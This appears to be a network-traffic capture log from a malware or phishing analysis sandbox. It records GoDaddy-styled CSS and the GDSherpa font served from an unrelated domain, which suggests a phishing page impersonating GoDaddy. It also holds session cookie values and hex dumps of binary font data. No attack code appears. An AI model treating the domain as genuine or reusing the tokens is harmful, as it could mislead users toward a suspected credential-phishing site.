2025-03-24 13:13:09 UTC	1085	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="abl4S9DqlRNd18pqJHQbcd30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TzUqqWWwaWsywakzPlXwhDaryjnsLozq%2BfwUjQmqnk60sJQfxyEnbByYI1gTAVSw37ZMyr7y4WZKkPeCtE7zd1ezssb02fsBROqdXwQPtpXKoyJmkjS0D23ujCoYvdtkcl3j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9876&min_rtt=9831&rtt_var=3719&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2260&delivery_rate=289695&cwnd=235&unsent_bytes=0&cid=3127c70be89818f8&ts=231&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 92566c9a6d898cd4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99185&min_rtt=98750&rtt_var=21517&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1922&delivery_rate=37162&cwnd=234&unsent_bytes=0&cid=c51e1f1d9ccf4661&ts=624&x=0"
2025-03-24 13:13:09 UTC	284	IN	Data Raw: 33 37 62 32 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b2#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 23 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b Data Ascii: #root { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden;
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e Data Ascii: 8,.25rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inlin
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 78 2d 76 76 73 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 Data Ascii: x-vvspv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxTe
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 20 76 61 72 28 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e Data Ascii: var(--ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 Data Ascii: margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a Data Ascii: -transform: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 Data Ascii: ion: column; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 Data Ascii: ections_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybp
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 75 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 Data Ascii: ux-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yy

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1358	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Origin: https://zx.nhyyupvw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
2025-03-24 13:13:09 UTC	1174	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: HIT Age: 5533 Last-Modified: Mon, 24 Mar 2025 10:55:52 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ecEbsAy%2FZL%2FiYoqxhRlIqTH7iCKJ61k6j8Q6sXzuSDeI%2FinlWdSbsLvCFn8hDN09qYVo2RKWNQNl2lOz0SRP49b2ofK9n2bLfXRLWRavKkJyh4VRcO8uniXYFrfJG%2FtEI3KM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10073&min_rtt=9984&rtt_var=2858&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2331&delivery_rate=282960&cwnd=245&unsent_bytes=0&cid=33a06452796f5133&ts=34&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 92566c9a6d9018c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98581&min_rtt=98169&rtt_var=21331&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1930&delivery_rate=37466&cwnd=203&unsent_bytes=0&cid=5d699f9d3d8f1249&ts=220&x=0"
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 03 75 f4 b1 1c 11 80 ff ca f3 72 0d 00 49 18 00 8e 3f 2f 8d 31 03 75 c2 71 34 2f 90 38 8d ce f6 02 f1 2e 99 22 cb 68 8c 5f 71 51 76 58 9a 29 0a 40 2d b9 27 a4 bc 5a aa f4 c7 04 4f ec 85 48 0f 5d 5c 2e a2 b2 58 05 6b 6c fd a5 09 9a bc ad b4 07 ed 59 fb 47 29 c9 8d 4d ea 8e b9 57 56 f5 4d c2 3d 8a 84 a9 60 2a 9b ae ce 18 b0 25 26 d8 83 3a fc 48 b0 78 c9 ce b4 7c 6e cb e9 82 ae eb 96 be de 7f ea 6f fa bf 99 97 a0 34 c3 67 ea cc 9c 53 66 dd dc 38 37 cd ed 33 6b 5e 99 7f 99 ff 5a 08 2e 3c 16 f8 c5 f0 a2 6d d1 bd 60 2e e6 16 df 2e 7e 83 78 01 5a 28 cd 21 12 47 42 46 a1 6e 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c Data Ascii: urI?/1uq4/8."h_qQvX)@-'ZOH]\.XklYG)MWVM=`*%&:Hx\|no4gSf873k^Z.<m`..~xZ(!GBFnTKa&LYl\w`1]JY-s-XdUkmwaG
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 99 36 84 b0 f4 46 7e 5a 7b 61 cb ce 38 7e 18 10 15 5a 16 2a dd 9d 07 cd 21 1f 79 7a 00 95 f6 00 6a a7 b6 7b 71 25 61 96 bf 64 1c 1e 9e 9b c6 7a 4b 2d 5e ca d6 b0 97 ff 3f 8d 57 52 7d 30 28 fc 2e bc 7e fd 90 34 de 54 c9 b1 e6 c0 08 ee e4 96 9a 1e 6b 45 c5 4e d6 97 57 40 eb 12 8f 15 b0 35 9f 31 43 a2 f8 ff b9 61 4a 0a 90 ae 5e 88 f3 1f 3c 2d 4f 42 88 ef c2 28 16 d2 73 11 28 3a ce c4 59 ff 45 25 b4 9c 70 77 4b 58 aa 75 59 34 d1 89 ae d4 8c 41 03 4d 4a 28 ac 59 68 f9 97 0b 97 a7 c8 5c 7a a8 29 fc 5a 13 ff 12 4a 26 6c 0f 5c 61 fe a4 3c dd 0c 29 39 23 3d 43 0c b0 ae 0b d9 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 Data Ascii: 6F~Z{a8~Z*!yzj{q%adzK-^?WR}0(.~4TkENW@51CaJ^<-OB(s(:YE%pwKXuY4AMJ(Yh\z)ZJ&l\a<)9#=Cix]ulFaRGuYyV</m8b3g'?!#Lf$'
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: d5 60 26 6a 11 ad 15 dc e3 a8 26 8d 6b ec 3a 27 ef 4b 33 f0 4f 93 a9 e1 9e d1 f6 63 da ec d3 0e 34 e2 39 79 e1 96 a4 86 1f af ef 8c b4 a5 3c 0c 57 1a 78 27 6e 5b a1 19 51 5a 6f 9e 8b 14 d6 2d 13 b2 16 b5 3d 49 d5 e2 af d4 85 12 c4 12 ee 91 e0 52 14 13 df e1 2e 1e ee 9d 82 e2 44 81 31 46 c5 1e 9c 78 1a ff ad f7 ef bf 8f d6 ff b5 fd 1b 5d cb c9 d3 4b 33 cc 70 ea 36 ee f9 8f 5f a5 dc 84 9a 44 e9 60 b5 ec 08 71 ee 84 82 67 2e 3d 1a 27 7c 6b 5a 43 e7 17 68 d8 46 8a 12 a1 97 f0 38 b3 f5 e6 70 1a ef e8 dd 71 eb 47 29 98 b8 19 2d eb bf 92 6b e8 78 37 79 35 9b 74 56 5d 8c 52 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 Data Ascii: `&j&k:'K3Oc49y<Wx'n[QZo-=IR.D1Fx]K3p6_D`qg.='\|kZChF8pqG)-kx7y5tV]RhW}YtLC=yoPT_{9pX`c0wRB6
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 61 24 8e 27 57 80 da f3 5e 35 af bb e3 03 40 0f e0 81 d6 e4 72 a2 3b 3a ff 9a 7c e9 55 1d a5 cf 00 47 63 61 4d b9 95 2b 87 8c 8c 79 16 a5 3b b7 d7 2f 1b d8 87 8b 7a ed 18 95 8d cb 26 c5 5c 4a b2 02 cc 7d 8b bd 75 07 76 e6 ed 02 7b c5 ef cb e9 93 d3 b3 75 e5 bc 7a 71 39 ef 52 f7 a5 f9 7a 5f 53 b7 6f e1 dd 08 70 20 07 11 87 5c 0a 45 98 0a 20 6a 4f a4 91 c3 ab 40 91 22 2d 8e 05 ca d6 bb 41 86 25 66 cf 4b e5 bd 45 d9 9f 7b 70 52 76 6a 3f 5b d4 b5 e3 bc ec a2 ec f2 a8 78 68 9f c2 ef a2 46 98 0f 5f 4d ec 44 75 e6 82 ca e3 d4 75 5b 8b 57 b8 01 40 ea 79 35 09 51 44 1f 46 9c 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 Data Ascii: a$'W^5@r;:\|UGcaM+y;/z&\J}uv{uzq9Rz_Sop \E jO@"-A%fKE{pRvj?[xhF_MDuu[W@y5QDFe*\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 3e 93 cf 06 3e 1b 6b 49 a1 3d dd c9 ed 93 0b 55 5c ed a1 7e 5d fe f5 bd df c1 ef c6 e1 00 5b b4 99 b2 b1 d3 7e 51 a2 9d 51 af 1b d3 98 e9 a0 46 47 b0 e2 79 bc 8d 5f 45 02 d2 dc cb e5 fb d9 db 53 e3 90 87 26 b4 a3 1b 4c 4c 80 a5 2e ab 9b ea 2b f5 87 8c 08 0b ac 90 dd 17 8f 39 5d f8 40 e5 8d 40 08 0b 4f 5a 89 bf 09 1f 01 c7 17 00 74 33 49 cd 2b e0 e8 fe f2 a6 77 74 6a 15 b5 ca 05 3c 90 f8 47 86 10 78 e3 96 eb c1 bd e2 c9 50 99 fe a4 89 7c ea c1 e3 ff 76 bf 77 bf 75 3b 48 25 39 ab 66 55 b4 d4 83 a5 1b 8f 6e 3e 5a 03 f8 f5 33 d8 95 10 a9 c7 aa f0 00 b0 7c e9 77 7e 33 44 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d Data Ascii: >>kI=U\~][~QQFGy_ES&LL.+9]@@OZt3I+wtj<GxP\|vwu;H%9fUn>Z3\|w~3D>E=Zrn~~{7*/&6X=JO7?Y
